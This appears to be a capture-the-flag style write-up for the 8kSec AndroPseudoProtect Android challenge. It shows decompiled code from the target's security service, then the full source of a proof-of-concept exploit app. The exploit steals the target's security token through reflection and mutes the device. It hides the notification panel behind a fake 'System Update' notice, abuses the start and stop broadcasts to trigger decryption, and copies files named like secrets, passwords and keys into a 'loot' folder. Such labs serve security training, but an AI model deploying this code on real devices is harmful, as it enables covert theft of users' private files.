8kSec AndroPseudoProtect The Ultimate Device Security¶

private boolean isServiceRunning;

private final void checkServiceRunning() {
    updateSecurityStatus(this.isServiceRunning);
}

private final void stopSecurity() {
    showDebugNotification("Stopping security service");
    updateSecurityStatus(false);
    Intent intent = new Intent();
    intent.setAction(SecurityService.ACTION_STOP_SECURITY);
    SecurityUtils securityUtils = this.securityUtils;
    SecurityUtils securityUtils2 = null;

    if (securityUtils == null) {
        Intrinsics.throwUninitializedPropertyAccessException("securityUtils");
        securityUtils = null;
    }

    intent.putExtra(SecurityService.EXTRA_SECURITY_TOKEN, securityUtils.getSecurityToken());

    try {
        Intent intent2 = new Intent(this, (Class<?>) SecurityService.class);
        intent2.setAction(SecurityService.ACTION_STOP_SECURITY);
        SecurityUtils securityUtils3 = this.securityUtils;

        if (securityUtils3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("securityUtils");
        } else {
            securityUtils2 = securityUtils3;
        }

        intent2.putExtra(SecurityService.EXTRA_SECURITY_TOKEN, securityUtils2.getSecurityToken());
        startService(intent2);
        sendBroadcast(intent);
        ToastUtils.showWarningToast$default(ToastUtils.INSTANCE, this, "Stopping Security Service", 0, 4, null);
    } catch (Exception e) {
        ToastUtils.showErrorToast$default(ToastUtils.INSTANCE, this, "Error: " + e.getMessage(), 0, 4, null);
        updateSecurityStatus(true);
    }
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    String action = intent != null ? intent.getAction() : null;

    if (action != null) {
        int hashCode = action.hashCode();

        if (hashCode != -1447419790) {
            if (hashCode == -1187150936 && action.equals(ACTION_START_SECURITY)) {
                String stringExtra = intent.getStringExtra(EXTRA_SECURITY_TOKEN);

                if (stringExtra != null && Intrinsics.areEqual(stringExtra, new SecurityUtils().getSecurityToken())) {
                    if (this.isServiceRunning) {
                        stopSecurity();
                    }
                    startSecurity();
                }
                return 1;
            }
        } else if (action.equals(ACTION_STOP_SECURITY)) {
            String stringExtra2 = intent.getStringExtra(EXTRA_SECURITY_TOKEN);

            if (stringExtra2 != null && Intrinsics.areEqual(stringExtra2, new SecurityUtils().getSecurityToken())) {
                stopSecurity();
            }
            return 1;
        }
    }

    startAsForeground();
    return 1;
}

package com.lautaro.andropseudoexploit;  

import android.Manifest;  
import android.content.Intent;  
import android.content.pm.PackageManager;  
import android.os.Build;  
import android.os.Bundle;  
import android.os.Environment;  
import android.provider.Settings;  
import android.util.Log;  
import android.widget.Toast;  
import androidx.annotation.NonNull;  
import androidx.appcompat.app.AppCompatActivity;  
import androidx.core.app.ActivityCompat;  
import androidx.core.content.ContextCompat;  
import android.net.Uri;  

public class MainActivity extends AppCompatActivity {  
    private static final int STORAGE_PERMISSION_CODE = 100;  
    private static final int MANAGE_STORAGE_CODE = 101;  
    private static final int NOTIFICATION_PERMISSION_CODE = 102;  

    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  

        Log.i("PoC", "MainActivity created");  

        // get notifications  
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {  
            if (ContextCompat.checkSelfPermission(this, Manifest.permission.POST_NOTIFICATIONS)  
                    != PackageManager.PERMISSION_GRANTED) {  
                Log.i("PoC", "Req POST_NOTIFICATIONS...");  
                ActivityCompat.requestPermissions(this,  
                        new String[]{Manifest.permission.POST_NOTIFICATIONS},  
                        NOTIFICATION_PERMISSION_CODE);  
                return; // wait  
            }  
        }  
        // verify perms  
        if (hasStoragePermissions()) {  
            Log.i("PoC", "perms granted, starting exploit");  
            startExploit();  
        } else {  
            Log.i("PoC", "no perms, requesting...");  
            requestStoragePermissions();  
        }  
    }  
    private boolean hasStoragePermissions() {  
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {  
            // android 11+  
            return Environment.isExternalStorageManager();  
        } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {  
            // android 6-10  
            return ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED &&  
                    ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED;  
        } else {  
            // android <= 5  
            return true;  
        }  
    }  
    private void requestStoragePermissions() {  
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {  
            // android 11+ - MANAGE_EXTERNAL_STORAGE  
            Log.i("PoC", "req MANAGE_EXTERNAL_STORAGE for android 11+");  
            try {  
                Intent intent = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION);  
                intent.setData(Uri.parse("package:" + getPackageName()));  
                startActivityForResult(intent, MANAGE_STORAGE_CODE);  
            } catch (Exception e) {  
                Log.e("PoC", "failed to request MANAGE_EXTERNAL_STORAGE", e);  
                // fallback  
                requestLegacyPermissions();  
            }  
        } else {  
            // android 6-10  
            requestLegacyPermissions();  
        }  
    }  
    private void requestLegacyPermissions() {  
        Log.i("PoC", "requesting legacy storage permissions");  
        ActivityCompat.requestPermissions(this, new String[]{  
                Manifest.permission.READ_EXTERNAL_STORAGE,  
                Manifest.permission.WRITE_EXTERNAL_STORAGE  
        }, STORAGE_PERMISSION_CODE);  
    }  

    @Override  
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {  
        super.onActivityResult(requestCode, resultCode, data);  

        if (requestCode == MANAGE_STORAGE_CODE) {  
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {  
                if (Environment.isExternalStorageManager()) {  
                    Log.i("PoC", "MANAGE_EXTERNAL_STORAGE granted");  
                    startExploit();  
                } else {  
                    Log.e("PoC", "MANAGE_EXTERNAL_STORAGE denied");  
                    Toast.makeText(this, "storage permis required for exploit", Toast.LENGTH_LONG).show();  
                    // try with legacy perms  
                    requestLegacyPermissions();  
                }  
            }        }    }  
    @Override  
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {  
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);  

        if (requestCode == NOTIFICATION_PERMISSION_CODE) {  
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {  
                Log.i("PoC", "notification perm granted");  
            } else {  
                Log.w("PoC", "notification perm denied");  
            }  

            // get storage  
            if (hasStoragePermissions()) {  
                startExploit();  
            } else {  
                requestStoragePermissions();  
            }  
        }  
        if (requestCode == STORAGE_PERMISSION_CODE) {  
            boolean allGranted = true;  
            for (int result : grantResults) {  
                if (result != PackageManager.PERMISSION_GRANTED) {  
                    allGranted = false;  
                    break;  
                }  
            }  
            if (allGranted) {  
                Log.i("PoC", "legacy storage perm granted");  
                startExploit();  
            } else {  
                Log.e("PoC", "storage perm denied");  
                Toast.makeText(this, "storage permissions required for exploit", Toast.LENGTH_LONG).show();  
                startExploit(); // try anyway  
            }  
        }    }  
    private void startExploit() {  
        Log.i("PoC", "starting StealService...");  

        // start exploit  
        startService(new Intent(this, StealService.class));  
    }  
}

package com.lautaro.andropseudoexploit;  

import android.app.Service;  
import android.app.NotificationManager;  
import android.content.*;  
import android.os.*;  
import android.media.AudioManager;  
import android.util.Log;  

import java.io.*;  
import java.util.*;  

public class StealService extends Service {  

    private static final String V_PKG = "com.eightksec.andropseudoprotect";  
    private static final String ACT_START = V_PKG + ".START_SECURITY";  
    private static final String ACT_STOP = V_PKG + ".STOP_SECURITY";  
    private static final String ACT_STARTED = V_PKG + ".SECURITY_STARTED";  
    private static final String ACT_DONE = V_PKG + ".DECRYPTION_COMPLETE";  
    private static final String EXTRA_TOKEN = "security_token";  

    private BroadcastReceiver rx;  
    private String token;  

    @Override  
    public int onStartCommand(Intent i, int f, int id) {  
        new Thread(this::pwn).start();  
        return START_NOT_STICKY;  
    }  

    private void pwn() {  
        // mute  
        muteDevice();  

        token = getToken();  
        if (token == null) { stopSelf(); return; }  
        Log.i("PoC", "token=" + token);  

        hideNotificationPanel();  
        postDummyNotification();  

        register();  

        Intent s = new Intent(ACT_START)  
                .setPackage(V_PKG)  
                .putExtra(EXTRA_TOKEN, token);  
        sendBroadcast(s);  
        Log.i("PoC", "START_SECURITY sent – waiting SECURITY_STARTED ...");  
    }  

    private void muteDevice() {  
        try {  
            AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);  
            if (am != null) {  
                int[] streams = {  
                        AudioManager.STREAM_MUSIC,  
                        AudioManager.STREAM_NOTIFICATION,  
                        AudioManager.STREAM_RING,  
                        AudioManager.STREAM_ALARM,  
                        AudioManager.STREAM_SYSTEM  
                };  
                for (int s : streams) am.setStreamVolume(s, 0, 0);  
                Log.i("PoC", "device audio muted");  
            }  
        } catch (Exception e) {  
            Log.w("PoC", "mute failed: " + e.getMessage());  
        }  
    }  
    // reflection  
    private String getToken() {  
        try {  
            Context vc = createPackageContext(V_PKG, CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY);  
            Class<?> su = vc.getClassLoader().loadClass(V_PKG + ".SecurityUtils");  
            return (String) su.getMethod("getSecurityToken")  
                    .invoke(su.getDeclaredConstructor().newInstance());  
        } catch (Exception e) {  
            Log.e("PoC", "token fail", e);  
            return null;  
        }  
    }  
    // try close notification panel  
    private void hideNotificationPanel() {  
        try {  
            Intent closeDialogs = new Intent("android.intent.action.CLOSE_SYSTEM_DIALOGS");  
            sendBroadcast(closeDialogs);  
            Log.i("PoC", "closed notification panel");  
        } catch (Exception e) {  
            Log.w("PoC", "cannot close notification panel: " + e.getMessage());  
        }  
    }  
    // send dummy notification  
    private void postDummyNotification() {  
        try {  
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {  
                android.app.NotificationChannel channel =  
                        new android.app.NotificationChannel("stealth_channel",  
                                "System Updates", NotificationManager.IMPORTANCE_LOW);  
                NotificationManager nm = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);  
                nm.createNotificationChannel(channel);  

                android.app.Notification notif = new android.app.Notification.Builder(this, "stealth_channel")  
                        .setSmallIcon(android.R.drawable.ic_dialog_info)  
                        .setContentTitle("System Update")  
                        .setContentText("Checking for updates...")  
                        .setPriority(android.app.Notification.PRIORITY_LOW)  
                        .setOngoing(false)  
                        .setAutoCancel(true)  
                        .build();  

                nm.notify(999, notif);  
                Log.i("PoC", "dummy notification posted");  
            }  
        } catch (Exception e) {  
            Log.w("PoC", "dummy notification failed: " + e.getMessage());  
        }  
    }  
    // receivers  
    private void register() {  
        rx = new BroadcastReceiver() {  
            @Override  
            public void onReceive(Context c, Intent in) {  
                String a = in.getAction();  
                if (ACT_STARTED.equals(a)) {  
                    Log.i("PoC", "SECURITY_STARTED → sending STOP");  
                    hideNotificationPanel(); // hide  

                    Intent stop = new Intent(ACT_STOP)  
                            .setPackage(V_PKG)  
                            .putExtra(EXTRA_TOKEN, token);  
                    sendBroadcast(stop);  
                } else if (ACT_DONE.equals(a)) {  
                    Log.i("PoC", "DECRYPTION_COMPLETE, looting...");  
                    hideNotificationPanel(); // hide  

                    loot();  
                    cleanup();  
                }  
            }        };  

        IntentFilter f = new IntentFilter();  
        f.addAction(ACT_STARTED);  
        f.addAction(ACT_DONE);  

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {  
            registerReceiver(rx, f, Context.RECEIVER_EXPORTED);  
        } else {  
            registerReceiver(rx, f, Context.RECEIVER_EXPORTED);  
        }  
    }  
    // steal files  
    private void loot() {  
        File sd = Environment.getExternalStorageDirectory();  
        File base = getExternalFilesDir(null);  
        File lootDir = new File(base, "loot");  
        lootDir.mkdirs();  

        Log.i("PoC", "traversing: " + sd.getAbsolutePath());  
        int n = copyRecursive(sd, lootDir, sd.getAbsolutePath());  
        Log.i("PoC", "copied " + n + " files into " + lootDir.getAbsolutePath());  

        previewTxts(lootDir);  
    }  

    private int copyRecursive(File start, File dstRoot, String rootPath) {  
        int count = 0;  
        Deque<File> stack = new ArrayDeque<>();  
        stack.push(start);  

        while (!stack.isEmpty()) {  
            File cur = stack.pop();  
            try {  
                if (cur.isDirectory()) {  
                    File[] kids = cur.listFiles();  
                    if (kids != null && kids.length < 1000) {  
                        Collections.addAll(stack, kids);  
                    }  
                } else if (isInteresting(cur)) {  
                    String rel = cur.getAbsolutePath().substring(rootPath.length());  
                    if (rel.startsWith("/")) rel = rel.substring(1);  
                    File dst = new File(dstRoot, rel);  
                    dst.getParentFile().mkdirs();  

                    try (InputStream in = new FileInputStream(cur);  
                         OutputStream out = new FileOutputStream(dst)) {  
                        in.transferTo(out);  
                        Log.i("PoC", "stolen: " + cur.getName());  
                        count++;  
                    } catch (IOException e) {  
                        Log.w("PoC", "copy failed: " + cur.getName());  
                    }  
                }            } catch (SecurityException ignored) {}  
        }        return count;  
    }  

    // just for poc examples  
    private boolean isInteresting(File f) {  
        if (f == null || !f.exists() || f.length() == 0) return false;  
        if (f.length() > 10 * 1024 * 1024) return false;  
        String n = f.getName().toLowerCase();  
        return n.endsWith(".txt") || n.endsWith(".pdf") ||  
                n.endsWith(".doc") || n.endsWith(".docx") ||  
                n.contains("secret") || n.contains("password") ||  
                n.contains("key") || n.contains("private");  
    }  

    private void previewTxts(File dir) {  
        List<File> txtFiles = listTxt(dir);  
        int shown = 0;  
        for (File f : txtFiles) {  
            if (shown >= 3) break;  
            Log.i("PoC", "=== " + f.getName() + " ===");  
            try (BufferedReader br = new BufferedReader(new FileReader(f))) {  
                for (int i = 0; i < 8; i++) {  
                    String l = br.readLine();  
                    if (l == null) break;  
                    Log.i("PoC", "   " + l);  
                }  
            } catch (IOException ignored) {}  
            Log.i("PoC", "=== end ===");  
            shown++;  
        }  
    }  
    private List<File> listTxt(File d) {  
        List<File> l = new ArrayList<>();  
        if (d == null || !d.exists()) return l;  
        File[] files = d.listFiles();  
        if (files != null) {  
            for (File f : files) {  
                if (f.isDirectory()) l.addAll(listTxt(f));  
                else if (f.getName().toLowerCase().endsWith(".txt")) l.add(f);  
            }  
        }        return l;  
    }  

    private void cleanup() {  
        try {  
            unregisterReceiver(rx);  
        } catch (Exception ignored) {}  
        try {  
            NotificationManager nm = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);  
            nm.cancel(999); // cancel notification  
        } catch (Exception ignored) {}  
        stopSelf();  
        Log.i("PoC", "stealth exploit completed!!");  
    }  

    @Override  
    public IBinder onBind(Intent i) {  
        return null;  
    }  
}